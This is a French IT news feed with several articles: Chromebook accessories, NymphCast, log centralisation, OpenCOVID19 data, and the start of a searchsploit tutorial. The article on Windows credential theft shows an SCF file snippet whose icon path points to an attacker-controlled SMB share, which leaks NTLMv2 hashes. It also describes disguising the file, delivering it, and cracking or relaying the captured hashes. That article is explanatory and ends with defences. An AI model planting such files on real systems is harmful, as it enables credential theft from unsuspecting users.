<p><img class="aligncenter size-full wp-image-34743" src="media/3798b103.works-with-chromebook-01.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/03/works-with-chromebook-01.jpg" alt="" width="800" height="270" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/03/works-with-chromebook-01.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/works-with-chromebook-01-550x186.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/works-with-chromebook-01-150x51.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/works-with-chromebook-01-768x259.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/works-with-chromebook-01-160x54.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/works-with-chromebook-01-50x17.jpg 50w" sizes="(max-width: 800px) 100vw, 800px" /></p>
<p><strong>Ce nouveau programme montre que la division Chromebook a une place importante chez Google et que le géant souhaite poursuivre sa marche en avant avec cet écosystème bien à part.</strong> Actuellement, de nombreux périphériques ne fonctionnent pas bien sous Chrome OS, alors que la majorité des périphériques sont compatibles avec Windows, Mac OS et bien souvent Linux. Cela peut s'avérer très frustrant lorsque l'on cherche à connecter une imprimante USB sur un Chromebook, ou une manette de jeu, etc.</p>
<p>Maintenant, c'est aux fabricants de jouer le jeu et de rendre compatibles certains périphériques afin qu'ils bénéficient du logo "<em>Works With Chromebook</em>". Pour le lancement de ce programme, <strong>Google peut compter sur 13 partenaires et pas des moindres</strong> : AbleNet, Anker, Belkin, Brydge, Cable Matters, Elecom, Hyper, Kensington, Logitech, Plugable, Satechi, StarTech, et pour finir Targus.</p>
<p>La mauvaise nouvelle c'est que pour le moment ces produits seront commercialisés seulement aux États-Unis, au Canada et au Japon. Nous devrons nous montrer patients.</p>
<p><a href="https://www.blog.google/products/chromebooks/works-with-chromebook-find-chromebook-accessories/" target="_blank" rel="noopener noreferrer">Source</a></p>


feed_id: https://www.it-connect.fr/?p=34438
title: Vol d’identifiants Windows via fichier SCF
uri: Vol-d-identifiants-Windows-via-fichier-SCF
url: https://www.it-connect.fr/vol-didentifiants-windows-via-fichier-scf/
content:
<h2>I. Présentation</h2>
<p>Dans cet article je vais vous présenter une attaque qui exploite le traitement des fichiers au format SCF par les systèmes d'exploitation Windows.</p>
<p>Les scripts SCF (<em>Windows Explorer Command File</em>)  sont assez vieux, puisque utilisés dés Windows 98. <strong>Ils permettent d'exécuter des commandes dans le contexte d'Explorer, le navigateur de fichier Windows</strong>. Par exemple afin d'automatiser une navigation dans le système de fichier, la modification des droits sur un fichier ou la manipulation de fichiers. Ces script sont toujours pris en compte et traités par les systèmes d’exploitation Windows récents.</p>
<h2>II. Exploitation des fichiers SCF sous Windows</h2>
<p>L'attaque que je vous présente aujourd'hui <strong>profite donc de la manière dont sont traités ces fichiers afin de procéder à un vol des identifiants utilisateur Windows.</strong><br />
Les fichiers SCF permettent entre autre de se voir définir un icône au travers une directive telle que celle-ci :</p>
<pre>[Shell]
IconFile=Chemin\vers\icone</pre>
<p>Avec cette directive, la navigateur de fichier Windows essaiera de charger l'image indiquée dés l'ouverture du répertoire contenant le fichier SCF, puisque c'est à ce moment là que l'icône du fichier est utile . Il est important de noter pour la suite que l'utilisateur n'a pas besoin de cliquer sur le fichier, uniquement d'ouvrir le répertoire le contenant. L'astuce qui entraine la possibilité d'attaque consiste à mettre, à la place d'un chemin local pour l'emplacement de l'icône,<strong> un emplacement distant, et plus précisément un chemin UNC vers un partage SMB distant</strong>, tel que celui-ci :</p>
<pre>[Shell]
IconFile=\\192.168.56.102\icon</pre>
<p>Dans ce contexte, le navigateur de fichier Windows va tenter d'aller chercher l'icône à l'emplacement indiqué, c'est à dire sur un partage SMB distant. Dans le cadre d'une attaque malveillante,<strong> ce partage SMB sera sur une machine contrôlée par l'attaquant.</strong></p>
<p>Au passage, il est à noter que lorsque la requête SMB est automatiquement émise par la victime, celle-ci comporte également les éléments permettant une authentification de l'utilisateur, ceci afin d'être directement authentifié sur la cible SMB. Autrement dit, et dans le cas d'une attaque malveillante dans laquelle l'icône pointe vers un partage SMB contrôlé par l'attaquant,<strong> les éléments d'authentification de l'utilisateur sont envoyés automatiquement à l'attaquant.</strong> Voici la démonstration de cette attaque en vidéo :</p>
<div class="fitvids-video"><iframe title="Exploitation des fichiers SCF sous Windows" width="800" height="450" src="https://www.youtube.com/embed/LdwwdKNVbKA?feature=oembed&amp;wmode=opaque" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe></div>
<p>J'ai ici utilisé Responder pour émuler un service SMB et capturer automatiquement la demande d'authentification. On voit ici deux choses :</p>
<ul>
<li>la requête SMB est exécutée dés l'ouverture du dossier contenant le fichier SCF;</li>
<li>la requête SMB reçue par l'attaquant contient les éléments d'authentification de la victime (nom d'utilisateur et hash NTLMv2).</li>
</ul>
<p>Pour ne rien arranger,<strong> il s'avère que les fichiers SCF sont automatiquement téléchargés par le navigateur Google Chrome</strong>, alors que pour la grande majorité des autres types de fichiers, une confirmation utilisateur est demandée.</p>
<p>Enfin, un fichier nommé "<em>image.jpg.scf</em>" apparaitra sous le nom de "<em>image.jpg</em>" lorsque les navigateurs de fichier Windows seront configurés pour ne pas afficher les extensions de fichier, ce qui est le cas par défaut. On aura donc un fichier qui n'éveillera aucun soupçon, notamment lorsqu'il sera déposé dans un partage de fichier utilisé par plusieurs personnes.<br />
A ce propos, on peut imaginer deux types de déploiement :</p>
<ul>
<li>faire télécharger le fichier SCF via le web (avec téléchargement automatique si utilisation de Google Chrome);</li>
<li>déposer le fichier SCF dans un partage réseau de l'entreprise accessible par l'attaquant (cas d'une intrusion ou d'un pentest interne).</li>
</ul>
<p>Dans le cas le plus critique, <strong>un attaquant peut tout simplement utiliser cette vulnérabilité afin de dérober des identifiants Windows au travers Internet</strong>, notamment avec le comportement de téléchargement automatique de Google Chrome (qui est assez étrange).</p>
<p>Le cas du déploiement d'un fichier SCF malveillant dans un partage réseau est assez critique également <strong>car plusieurs personnes seront alors susceptibles d'ouvrir le répertoire partagé concetenant ce fichier SCF malveillant,</strong> il s'agit d'un scénario d'attaque crédible pour les intrusions internes, dans lesquels le pentester est déjà présent sur le réseau de sa cible.</p>
<p>Les antivirus et navigateurs ne semblent pour l'instant pas prêter attention à ces fichiers SCF malveillants, mais on peut s'attendre à un changement de situation après l'apparition de cette attaque.</p>
<h2>III. Pour aller plus loin</h2>
<p>Les hashs récupérés sont des hashs NTLMv2, le cracking de hashs NTLMv2 n'est pas trivial mais est loin d'être inaccessible, l'utilisation de l'outil hashcat qui profite notamment de la puissance des GPU rend relativement accessible ce cracking de hash NTLMv2 (en comparaison au cracking de hash LM/NTLM qui lui est considéré comme trivial). Un attaquant pourra donc procéder à un cracking des hashs NTLMv2 récupérés une fois sont attaque terminée.</p>
<p>Également, il sera possible d'utiliser les hashs NTLMv2 dans le cadre d'une attaque SMB Relay, qui consiste à réutiliser information NTLMv2 obtenues pour s'authentifier vers d'autres services utilisant l'authentification NTLMv2 en se faisant passer pour la victime, il s'agit d'un cas d’exploitation hautement probable lors d'une intrusion interne, moins pour les exploitations depuis internet, les services Cloud utilisant rarement ce type d'authentification, exceptions faites des services de type Outlook ou Office 365.</p>
<h2>IV. Les recommandations</h2>
<p>Les recommandations pour éviter ce type d'attaque sont les suivantes :</p>
<ul>
<li>désactiver le téléchargement automatique de fichiers dans Google Chrome.</li>
<li>gérer les flux réseaux afin d'éviter que des requêtes SMB ne partent vers internet ou vers des réseaux qui ne sont pas de confiance;</li>
<li>interdire le stockage de fichier SCF, notamment à l'aide des antivirus qui peuvent procéder à un blacklistage par extension de fichier.</li>
</ul>
<p>Sources :</p>
<ul>
<li><a href="http://dotwhat.net/file/extension/scf/838" target="_blank" rel="noopener noreferrer">http://dotwhat.net/file/extension/scf/838</a></li>
<li><a href="media/fe81d95c.stealingwin-creds.pdf" data-original-source="https://dl.packetstormsecurity.net/papers/general/stealingwin-creds.pdf" target="_blank" rel="noopener noreferrer">https://dl.packetstormsecurity.net/papers/general/stealingwin-creds.pdf</a></li>
<li><a href="https://pen-testing.sans.org/blog/2013/04/25/smb-relay-demystified-and-ntlmv2-pwnage-with-python" target="_blank" rel="noopener noreferrer">https://pen-testing.sans.org/blog/2013/04/25/smb-relay-demystified-and-ntlmv2-pwnage-with-python</a></li>
</ul>


feed_id: https://www.it-connect.fr/?p=34751
title: NymphCast : l’alternative Open Source à la Chromecast
uri: NymphCast-l-alternative-Open-Source-à-la-Chromecast
url: https://www.it-connect.fr/nymphcast-lalternative-open-source-a-la-chromecast/
content:
<p><strong>Si vous souhaitez trouver une alternative aux solutions propriétaires des géants américains, notamment la Chromecast de Google ou l'AirPlay d'Apple, la solution NymphCast pourrait vous intéresser.</strong></p>
<p>Maya Posch, développeuse, travaille actuellement sur son nouveau projet : NymphCast. L'objectif de cette solution logicielle est simple : permettre la diffusion, en continu, de flux audio et vidéo au travers de votre réseau et via différentes plateformes.</p>
<p>Pour la partie hardware, vous me voyez venir :<strong> il s'agit d'une solution conçue pour tourner sur un Raspberry Pi et les alternatives qu'on lui connaît</strong>, notamment l'Orange Pi. Pour la partie Raspberry Pi, la solution est compatible avec l'ensemble des modèles. Ce projet est actuellement en phase alpha, mais ça peut être l'occasion déjà de commencer à le tester pour l'aider à grandir.</p>
<p>Pour diffuser le flux sur votre TV ou une enceinte, vous avez le choix puisque l'application NymphCast est disponible sur PC et Mac, mais également sur Android pour la partie mobile. <strong>Cette application de pilotage se nomme NymphCast Player.</strong></p>
<p>Envie de le tester ? De remonter des bugs ou de t'investir dans ce projet ? C'est par ici : <a href="https://github.com/MayaPosch/NymphCast" target="_blank" rel="noopener noreferrer">GitHub NymphCast</a></p>


feed_id: https://www.it-connect.fr/?p=34483
title: Centralisation des logs, un outil pour la sécurité
uri: Centralisation-des-logs-un-outil-pour-la-sécurité
url: https://www.it-connect.fr/centralisation-des-logs-un-outil-pour-la-securite/
content:
<h2>I. Présentation</h2>
<p>Lorsque l'on entame la consolidation d'un système d'information, je pense que la première chose à faire est avant tout la centralisation des logs. Dans cet article, nous allons voir en quoi consiste la centralisation des logs, ce que cela apporte en matière de gestion et de sécurité et également des pistes d'outils à utiliser pour accomplir cette tâche.</p>
<p>La centralisation des logs est une opération simple à faire sur des systèmes d'information peu étendus (au niveau réseau comme au niveau géographique), cela s'avère plus complexe sur des SI de grande taille, mais c'est une opération à mener à tout prix pour éviter certains risques et avoir une vue réelle de l'état d'un système d'information.</p>
<h2>II. Qu'est-ce que la centralisation des journaux d’événements (logs) ?</h2>
<p>Un log, événement ou journal, est simplement la notification d'un événement d'une importance plus ou moins  élevée envoyée par un service, un système, un élément réseau ou une application. Les journaux d’événement permettent en administration systèmes, réseaux et en sécurité de retracer les actions et la vie d'un système. Les logs ont un intérêt et une importance cruciale en informatique, car il s'agit là de savoir ce qu'il s'est passé sur un ensemble d'applications ou systèmes pour pouvoir, par exemple :</p>
<ul>
<li><strong>Expliquer </strong>une erreur, un comportement anormal, un crash sur un service comme un service web;</li>
</ul>
<ul>
<li><strong>Retracer </strong>la vie d'un utilisateur, d'une application, d'un paquet sur un réseau sur les logs d'un proxy et des éléments réseau par exemple;</li>
</ul>
<ul>
<li><strong>Comprendre le fonctionnement</strong> d'une application, d'un protocole, d'un système comme les étapes de démarrage d'un service SSH sous Linux;</li>
</ul>
<ul>
<li><strong>Être notifié</strong> d'un comportement, d'une action, d'une modification tel qu'une extinction ou un démarrage système;</li>
</ul>
<ul>
<li>etc.</li>
</ul>
<p>Aujourd'hui, la grande majorité des systèmes, applications et éléments réseau produisent des logs. Dans la quasi-totalité des cas, les logs sont stockés de manière locale sur la machine :</p>
<ul>
<li>Les journaux d’événements sous <strong>Windows</strong> stockent par défaut les logs des OS Windows (Clients et serveurs) via l'<strong>observateur d’événement<br />
</strong></li>
</ul>
<ul>
<li>Le fameux dossier <strong>"/var/log" sous Linux</strong> qui stocke l'ensemble des logs systèmes et applicatifs sous Linux via rSysLog (mais pas que, cela dépend des distributions)</li>
</ul>
<ul>
<li>sous Cisco,<strong> quelques messages de logs sont inscrits directement dans le terminal</strong>, mais le reste des logs n'est pas sauvegardé, faute de stockage</li>
</ul>
<p>Dans ce cadre, la centralisation des logs consiste simplement à mettre sur un même système, une même plateforme, l'ensemble des logs des systèmes, applications et services des machines environnantes. On reprend alors le principe de la supervision, dont la surveillance des logs doit être une branche, qui consiste à centraliser les éléments de surveillance sur une plate-forme unique. On appellera cela un point unique de communication, ou point unique de contact (Single Point Of Contact - SPOC) pour l'analyse des logs. La centralisation de l'information permettra ici de mener plusieurs opérations qui iront toutes dans le sens de la sécurité et de la meilleure gestion du système d'information.</p>
<p><strong>Clairement, pourquoi centraliser les logs ?</strong></p>
<p>Communément, deux raisons répondent à cette interrogation :</p>
<ul>
<li>Avoir une vue d'ensemble d'éléments cruciaux à la bonne gestion d'un SI pour y mener des traitements tels que :</li>
<li>
<ul>
<li><strong>IDS</strong> : Certains types d'IDS (Intrusion Detection System ou systèmes de détection d'intrusion) se servent des journaux d’événement pour détecter des comportements anormaux sur le réseau ou sur les systèmes surveillés. Ceux-ci n'utilisent donc pas l'écoute du réseau pour effectuer leur surveillance mais bien les logs, on appelle alors ces IDS des log-based IDS (IDS basé sur les logs). Des exemples connus de tels systèmes sont Fail2ban et <span class="st">DenyHosts par exemple.</span></li>
<li><strong>Forensic, plus largement l'analyse d'attaque ou d'intrusion</strong> : on peut décrire le forensic de la façon suivante :  "<em>c'est une méthode d'investigation matérielle ou virtuelle basée sur l'extraction de données brutes ou altérées de manière à construire une chronologie événementielle, à établir une logique séquentielle ou à reconstituer un ensemble cohérent de données pour en tirer une explication contextuelle.</em> " (source : <a href="http://hackademics.fr/showthread.php?2982-l-analyse-forensic-c-est-quoi-exactement" target="_blank" rel="noopener noreferrer">post d'un membre d'Hackademics</a>). C'est une définition exacte dans le cadre qui nous intéresse même si les notions d'enquête et de moyen légal de récupération de données sont ici oubliées. Quoi qu'il en soit, les logs vont être d'une grande aide lorsque ceux-ci nous permettent de retracer le parcours, les actions et les dégâts d'un attaquant sur un ensemble de systèmes. Ceux-ci étant facilité d'abord parce que les logs sont centralisés, mais également, car ils sont exportés de la zone d'effet de l'attaquant qui a alors plus de difficulté à les supprimer pour effacer ses traces.</li>
<li><strong>Recherche / statistique</strong> : La centralisation des logs va permettre d'effectuer des recherches  très précises sur l'activité de plusieurs systèmes tout en étant sur une machine. Les opérations de recherche et de statistique s'en trouvent donc facilitées, car tout est sur la même plate-forme.</li>
</ul>
</li>
</ul>
<ul>
<li>En cas de crash ou de suppression des logs
<ul>
<li><strong>Diagnostiquer un crash</strong> : Il peut être très utile de savoir précisément ce qu'il s'est passé lorsqu'un système devient complètement injoignable (après un crash sévère par exemple). Si les logs qui permettent de diagnostiquer la panne se trouvent sur ladite machine, ils sont difficilement atteignables (on peut toujours extraire les disques, les lires sur un autre périphérique, etc.). Dans le cas où les logs sont exportés sur une machine dont la disponibilité est assurée, il est alors possible de rapidement récupérer les derniers événements  systèmes de la machine endommagée pour diagnostiquer plus facilement.</li>
<li><strong>Garantir la survie des logs à une suppression</strong> : Comme je l'ai rapidement expliqué en haut, une des étapes post-intrusion lors d'une attaque informatique est l'effacement des traces que le pirate a pu laisser. On passe alors, en partie, par la suppression des logs et historiques qui peuvent donner des indications sur les actions menées pendant l'intrusion et possiblement sur une identité réseau (IP, adresse MAC, OS, etc.). Lorsque les logs sont stockés en local, les logs qui sont supprimés sont alors difficilement récupérables, lorsqu'ils sont également envoyés sur une autre machine, il est possible de récupérer des informations. Notons que la suppression, ou perte, des logs peut également arriver dans d'autres contextes plus proches de la vie quotidienne d'un SI telle que la perte d'un disque, d'une partition dédiée aux logs, la mauvaise manipulation d'un administrateur systèmes pressé...</li>
</ul>
</li>
</ul>
<p>C'est en mon sens par là que devrait débuter la consolidation et la sécurisation d'un système d'information. La capacité à retrouver un événement même après une attaque ou un crash et à faire corréler un ensemble d’événements pour amener  à la meilleure gestion des systèmes permet d'avoir un appui solide pour la prise de décision quant à l'évolution du SI, mais aussi par rapport aux éventuels problèmes présents, mais non découverts. Lorsque l'on regarde les choses en face, les logs sur les systèmes et OS ne sont ouverts que quand un problème bloquant intervient et qu'ils peuvent alors nous aider à débugger une situation. Le reste du temps, les logs ne sont lus que par les scripts et les outils d'archivage ou de suppression. Or un événement, surtout lorsqu'il a une criticité élevée, est quelque chose dont il faut s'occuper. Soit pour le corriger, soit pour au moins savoir l'expliquer et connaître l'impact qu'il y a derrière ces avertissements.</p>
<p>La centralisation des logs, lorsqu'elle est couplée à des outils d'analyse, de traitements, d'indexation et encore mieux, de graphage, <strong>permet d'avoir de toutes ces lignes d'information un ensemble cohérent de données qu'il est possible de corréler</strong>. Le fait de corréler les logs signifie simplement que l'on met en relation plusieurs événements de systèmes et d'application pour reconstituer une action plus générale. Les logs d'une synchronisation rsync qui coupe brutalement entre deux serveurs Linux peut par exemple être corrélé avec la coupure du service SSH sur une des deux machines, expliquée elle-même par une mauvaise manipulation de l'administrateur système qui aura également laissé des traces dans les journaux d’événement en ouvrant son terminal sur la machine en question... L'exemple est ici simplissime, la corrélation des logs permet le plus souvent de retracer les attaques et les intrusions, par exemple en effectuant une analyse comportementale d'un attaquant. Nous sommes alors sur un niveau de complexité bien plus élevé, que je ne saurais expliquer ici pour le moment 🙂 .</p>
<h2>III. Centralisation des logs, un processus en plusieurs étapes</h2>
<p>La centralisation n'est pas un processus qui se fait du jour au lendemain, sauf si vous avez la chance et la bonne idée d'y penser dès les premiers pas de votre SI. La plupart du temps, la centralisation des logs implique de réfléchir à plusieurs étapes de mise en place. Communication entre différents systèmes, parcours des paquets au travers différents réseaux pour arriver à une même cible, catégories/organisation à avoir, informations à exporter et informations à mettre de côté... Voyons les différentes étapes qui peuvent guider la mise en place d'une centralisation de logs dans un SI.</p>
<h3>A. Faire produire les logs</h3>
<p>La première chose à faire est bien entendu de faire en sorte que les logs méritant d'être lus soient produits. Sur Cisco par exemple, la production des logs n'est pas activée par défaut. Sur d'autres systèmes, seuls les logs "CRITICAL" et supérieurs sont sauvegardés. Il peut alors, en fonction de notre besoin, rehausser ou abaisser la criticité des logs qui sont produits.</p>
<p>Également, il est important de calibrer correctement la production de logs. Il faut savoir que plus un service, un système ou une application produit de logs, plus celle-ci va consommer des ressources. Il est par exemple généralement déconseillé, sur les services de base de données comme MySQL, de faire produire trop de logs. Ces services ont généralement besoin d'être contactés rapidement et il n'est pas toujours possible de leur fait produire autant de logs qu'on le voudrait, car cela ralentirait les délais de traitements et de calculs.</p>
<p>Il faut donc veiller à correctement définir ce que l'on souhaite voir, ce que l'on souhaite garder en local et ce que l'on souhaite envoyer sur un serveur de logs distant. Cela demande un certain travail et une vision globale du système d'information, car il est nécessaire d'effectuer cette tâche sur tous les systèmes et les applications qui en ont besoin, tout dépendra donc de la taille de votre système d'information.</p>
<h3>B. Envoyer les logs sur une plateforme commune</h3>
<p>Une fois que l'on sait exactement quoi envoyer et centraliser, il faut maintenant savoir l'envoyer sur la plate-forme destinée à recevoir ces logs. On passe alors également par une phase de réflexion au niveau de l'architecture et de la configuration nécessaire :</p>
<ul>
<li>Il faut bien évidemment auparavant avoir configuré et installé le système nécessaire à la bonne réception et au bon stockage de l'ensemble des logs envoyés. Pour avoir un exemple de technologie permettant de faire cela, j'ai rédigé il y a quelque temps sur mon blog technique un tutoriel sur la configuration du service Rsyslog sous Linux pour en faire un serveur de centralisation des logs : <a title="Centralisationd des logs Rsyslog" href="http://www.it-connect.fr/centralisez-vos-logs-avec-rsyslog/" target="_blank" rel="noopener noreferrer">Centralisez vos logs avec Rsyslog</a></li>
</ul>
<ul>
<li>On va ensuite devoir réfléchir au chemin qu'empruntent nos logs envoyés. En effet, les machines dans le LAN ne vont pas forcément poser problème. En revanche, les machines en DMZ ou sur des sites géographiquement éloignés peuvent poser quelques difficultés. On peut alors se poser différentes questions, est-il judicieux d'ouvrir le port permettant de laisser passer les flux nécessaires de la DMZ au LAN ? Le lien entre mon datacenter et mes sites distants sera-t-il suffisant ? N'est il pas plus logique de travailler avec des serveurs de logs répartis par sites géographiques ? La réponse à ces questions n'est pas l'objet de cet article et dépendra de toute façon de votre système d'information, à vous d'en juger donc !</li>
</ul>
<ul>
<li>Il faut également avoir une réflexion sur la configuration et les ressources de la machine de centralisation des logs en elle-même, quelle sera la technologie et l'espace de stockage adéquat et suffisant ? Plusieurs cartes réseau seront-elles nécessaires ? Quelle sécurité mettre en place sur ce serveur ?</li>
</ul>
<h3>C. Analyser, filtrer et organiser les logs</h3>
<p>Maintenant que nos logs sont arrivés à destination et qu'ils sont dans un endroit sûr, il faut savoir quoi faire de ces journaux d’événements. Quand un log va arriver sur notre serveur de centralisation des logs, il va systématiquement devoir passer par différentes étapes.</p>
<p>Nous allons d'abord devoir trier ce flux d'information, on peut par exemple créer un répertoire par machine puis un fichier par service, ou alors un fichier par service dans lequel on pourra distinguer la provenance des lignes de logs par le nom de la machine l'ayant produit. L'organisation et le tri des logs se fait de toute manière par le service qui gérera sa réception (Rsyslog par exemple sous Linux).</p>
<p>Une fois que nos logs sont dans les bonnes étagères, il va alors être possible de les lire, les examiner, corriger leur position éventuellement pour arriver à l'objectif final de la centralisation des logs : la production d'un outil utile à la bonne gestion du système d'information.</p>
<h3>D. Grapher, Rapporter, Alerter : L'apport en sécurité</h3>
<p>La bonne gestion des logs dans notre serveur de centralisation des logs va permettre de produire différentes choses comme :</p>
<ul>
<li>Une fois que nos logs sont correctement organisés et que l'on peut faire des traitements dessus, on pourra par exemple dessiner des graphiques avec des outils spécialisés. Voici un exemple de rapport graphique produit par <strong>Kibana</strong> qui se base sur des logs :</li>
</ul>
<p><a href="media/806e7c89.centralisation-logs-kibana.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/centralisation-logs-kibana.png"><img class="aligncenter size-large wp-image-34484" src="media/01d80817.centralisation-logs-kibana-800x435.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/centralisation-logs-kibana-800x435.png" alt="" width="800" height="435" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/centralisation-logs-kibana-800x435.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/centralisation-logs-kibana-550x299.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/centralisation-logs-kibana-150x82.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/centralisation-logs-kibana-768x418.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/centralisation-logs-kibana-160x87.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/centralisation-logs-kibana-1536x836.png 1536w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/centralisation-logs-kibana-50x27.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/centralisation-logs-kibana.png 1877w" sizes="(max-width: 800px) 100vw, 800px" /></a></p>
<p>Les graphiques sont alors, comme dans la supervision, un élément pour avoir rapidement une vue de l'état d'un ou plusieurs systèmes. On va par exemple pouvoir grapher en direct le taux d'erreur 404 relevé sur l'ensemble de nos serveurs web et ainsi détecter un pic qui pourrait relever un problème plus grave. Également, il sera possible de grapher les échecs d'authentification SSH et, pourquoi pas, détecter une brute force via un pic représenté dans les graphiques. Outre des observations sur le coup, on pourra également, avec des données graphées, voir les tendances sur le long terme et ainsi mieux appréhender l'évolution d'un système ou d'un service.</p>
<ul>
<li>La centralisation des logs va également permettre<strong> leur intégration dans un système de supervision</strong>, on va pouvoir plus facilement détecter des comportements ou des logs anormaux par rapport à un comportement standard. Par exemple, une détection des événements anormaux, mettre en relation avec le service de supervision, corrélation d’événements.</li>
</ul>
<ul>
<li><strong>Mettre en place des actions de protection et de prévention du système d'information</strong>. Avec des logs centralisés, il sera possible d'effectuer une analyse en temps réel des journaux d’événements et cela de façon beaucoup plus simple, cela parce que les logs se situeront tous sur la même machine. L'utilisation des log-based IDS/IPS sera alors plus simple et plus efficace dans la protection du système d'information.</li>
</ul>
<ul>
<li>Il est fréquent, en tant qu’administrateur système, de <strong>se faire envoyer des rapports</strong> par des scripts qui analysent les logs des machines par exemple. Avec des logs centralisés, on pourra avoir un rapport pour un ensemble/un groupe de machines plutôt que d'avoir un rapport individuel par machine. Cela, car tous les logs analysés se situeront sur la même machine.</li>
</ul>
<h2>IV. Pour commencer, quelques outils</h2>
<p>Maintenant que nous avons vu en quoi consistait la centralisation des logs, voyons quelques outils qui sont généralement utilisés, soit pour la récolte, soit pour l'analyse des journaux d’événements centralisés :</p>
<ul>
<li><strong>Fail2ban</strong> : Fail2ban est un outil que j'apprécie particulièrement, il s'agit d'un IDS/IPS basé sur les logs. Ils sont donc d'une importance capitale ici, car les logs produits vont permettre à Fail2ban de détecter certaines intrusions et ainsi déclencher des actions d'avertissement ou de protection (envoyer un mail, bannir une ip, etc.). <a title="Tutoriels Fail2ban" href="http://www.it-connect.fr/?s=fail2ban" target="_blank" rel="noopener noreferrer">Quelques tutoriels sur Fail2ban</a></li>
</ul>
<ul>
<li><strong>DenyHost</strong> : DenyHost reprend le même principe que Fail2ban, il se base sur les logs dans le fichier <em>/var/log/auth.log</em> des machines Linux pour détecter des tentatives de bruteforce sur le port SSH. Il n'est malheureusement retreint qu'au service SSH.</li>
</ul>
<ul>
<li><strong>Rsyslog</strong> : Rsyslog est ce qui permet de gérer les logs sur la plupart des machines Linux, il implémente le protocole syslog pour l'envoi de logs entre machines. C'est un outil à connaître lorsque l'on entreprend de centraliser des logs avec des machines sous Linux.</li>
</ul>
<ul>
<li><strong>Splunk</strong> : Il s'agit d'un outil d'indexation des journaux d’événements. Autrement dit, une fois les logs centralisés, Spunk va permettre d'effectuer des recherches facilement dans ses logs pour en extraire des données facilement exploitables.</li>
</ul>
<ul>
<li><span id="result_box" class="" lang="fr"><span class="hps"><strong>Snare</strong> </span></span>:<span id="result_box" class="" lang="fr"><span class="hps"> Snare est un outil </span><span class="hps">pour Windows, il s'agit </span>d'<span class="hps">un service qui</span> <span class="hps">interagit avec</span> <span class="hps">le </span><span class="hps">système Windows</span> <span class="hps">Event Log</span> <span class="hps">pour faciliter</span> <span class="hps">la gestion à distance et le transfert</span> <span class="hps">en temps réel des</span> <span class="hps">informations</span> <span class="hps">des journaux d'événements Windows.</span></span></li>
</ul>
<ul>
<li><strong>ELK</strong> : Il s'agit de la combinaison de trois logiciels : Elasticsearch en tant que moteur d'indexation, Logstash pour la <span class="st">collecte, l'analyse et le stockage de logs, </span>et Kibana pour construire des graphiques et requêter et visualiser n’importe quelles données. L'ensemble étant assez complet, je vous oriente vers cet article du site web Wooster pour plus de détail : <a title="Introd" href="https://wooster.checkmy.ws/2014/04/elk-elasticsearch-logstash-kibana/">Introduction à ELK</a></li>
</ul>
<p>Je suis loin d'avoir fait le tour des outils qui vous permettront de mettre en place la centralisation des logs dans vos parcs informatiques, mais il y en a un très grand nombre, que ce soit pour la centralisation en elle-même, pour l'indexation, le stockage ou le traitement (sécurité, graphique...). Il s'agit là d'un élément central de la sécurité d'un système d'information qui doit être pensé dès qu'il se met à grandir.</p>


feed_id: https://www.it-connect.fr/?p=34756
title: OpenCOVID19 France : la consolidation des données liées au Coronavirus
uri: OpenCOVID19-France-la-consolidation-des-données-liées-au-Coronavir
url: https://www.it-connect.fr/opencovid19-france-la-consolidation-des-donnees-liees-au-coronavirus/
content:
<p><strong>Par l'intermédiaire du projet "OpenCOVID19 France", Data Gouv, la plateforme de diffusion de données publiques de l'État français souhaite consolider les données en lien avec la pandémie du Coronavirus. Un projet GitHub a vu le jour à cette occasion.</strong></p>
<p>Rendez-vous sur le site <a href="https://veille-coronavirus.fr/" target="_blank" rel="noopener noreferrer">veille-coronavirus.fr</a> afin de visualiser la carte de France avec les données liées au Coronavirus : nombre de cas confirmées, d'hospitalisations, de décès ou encore le nombre de personnes en réanimation. Cela permet de suivre la progression du virus en France grâce à une vue synthétique sur une carte <em>Open Street Map</em>, en se basant sur les données officielles et récoltées à partir de différentes sources.</p>
<p>Si vous souhaitez contribuer à ce projet, c'est possible ! D'ailleurs, sur le Github du projet il est précisé : "<em>Nous cherchons des volontaires pour éplucher des communiqués de presse et y collecter des données. Techniquement, les contributeurs doivent savoir se servir de git et de GitHub.</em>"</p>
<p>Pour le Github, c'est par ici : <a href="https://github.com/opencovid19-fr" target="_blank" rel="noopener noreferrer">opencovid19-fr</a></p>
<p><em>Bon courage à tous. Prenez soin de vous et de vos proches.</em></p>


feed_id: https://www.it-connect.fr/?p=34449
title: Recherche rapide dans la base Exploit-DB avec searchsploit
uri: Recherche-rapide-dans-la-base-Exploit-DB-avec-searchsploit
url: https://www.it-connect.fr/recherche-rapide-dans-la-base-exploit-db-avec-searchsploit/
content:
<h2>I. Présentation</h2>
<p>Je vous présente dans cet article l'outil <em>searchsploit,</em> qui permet d'effectuer des recherches dans la base de données<em> exploit-db</em> en ligne de commande.</p>
<p>Je vous ai déjà parlé de la base de données d'exploit <em>exploit-db,</em> qui référence divers exploits et techniques d'attaques. <em>Searchsploit</em> est donc un outil qui permet d'effectuer des recherches en ligne de commande sur votre poste plutôt que via l'interface web du site <em>exploit-db</em>. Cela peut s'avérer assez pratique et beaucoup plus rapide, notamment via l'utilisation des différentes options de <em>searchsploit.</em></p>
<p>Avec <em>searchsploit,</em> il est possible d'effectuer des recherches en fonction de différents mots-clés, mais également de disposer de tous ces exploits directement sur sa machine, très pratique lorsque l'on est en situation d'audit et que l'on ne dispose pas d'accès à Internet.</p>
<h2>II. Installation</h2>
